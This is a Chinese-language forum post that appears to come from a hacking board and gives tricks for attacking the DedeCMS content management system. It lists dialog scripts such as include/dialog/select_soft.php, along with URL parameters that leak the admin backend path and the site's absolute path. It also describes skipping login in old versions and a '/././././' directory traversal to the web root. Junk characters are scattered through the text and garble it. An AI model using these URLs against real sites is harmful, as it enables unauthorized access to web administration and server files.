dedecms爆后台文件技巧

admin

1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理
/ E+ i! c# G2 @8 N* C  Y  ~
5 O# [( v7 m4 ^! b# r6 r8 k员帐号,新版本的就直接转向了后台.

7 b% @6 o3 U( h7 v1 S& H5 u" g: X2.include/dialog/config.php会爆出后台管理路径
5 i* _. @4 M6 J# T. F
( v4 w0 y. Q: U" U0 G+ |3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
/ ~' `/ Q& Y& B0 Z3 O
6 h( e3 l& \. U4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.

: k* Z8 M0 u$ ~5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉

8 e' m" C' }" ]# a2 G* v到根目录去.不过这些版本的访问地址有些不同.
8 V$ D' K) U7 U地址为require/dialog/select_soft.php?activepath=/././././././././
/ B0 i8 `' Q: ]; S1 M
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
- i8 e9 k8 I5 w8 Y6 m* E1 k% ?1 J存在相同问题的文件还有
5 u- C: L1 o: S, h" z$ o  einclude\dialog\select_images.php
include\dialog\select_media.php
2 }' W! J; c. m3 z! ginclude\dialog\select_templets.php​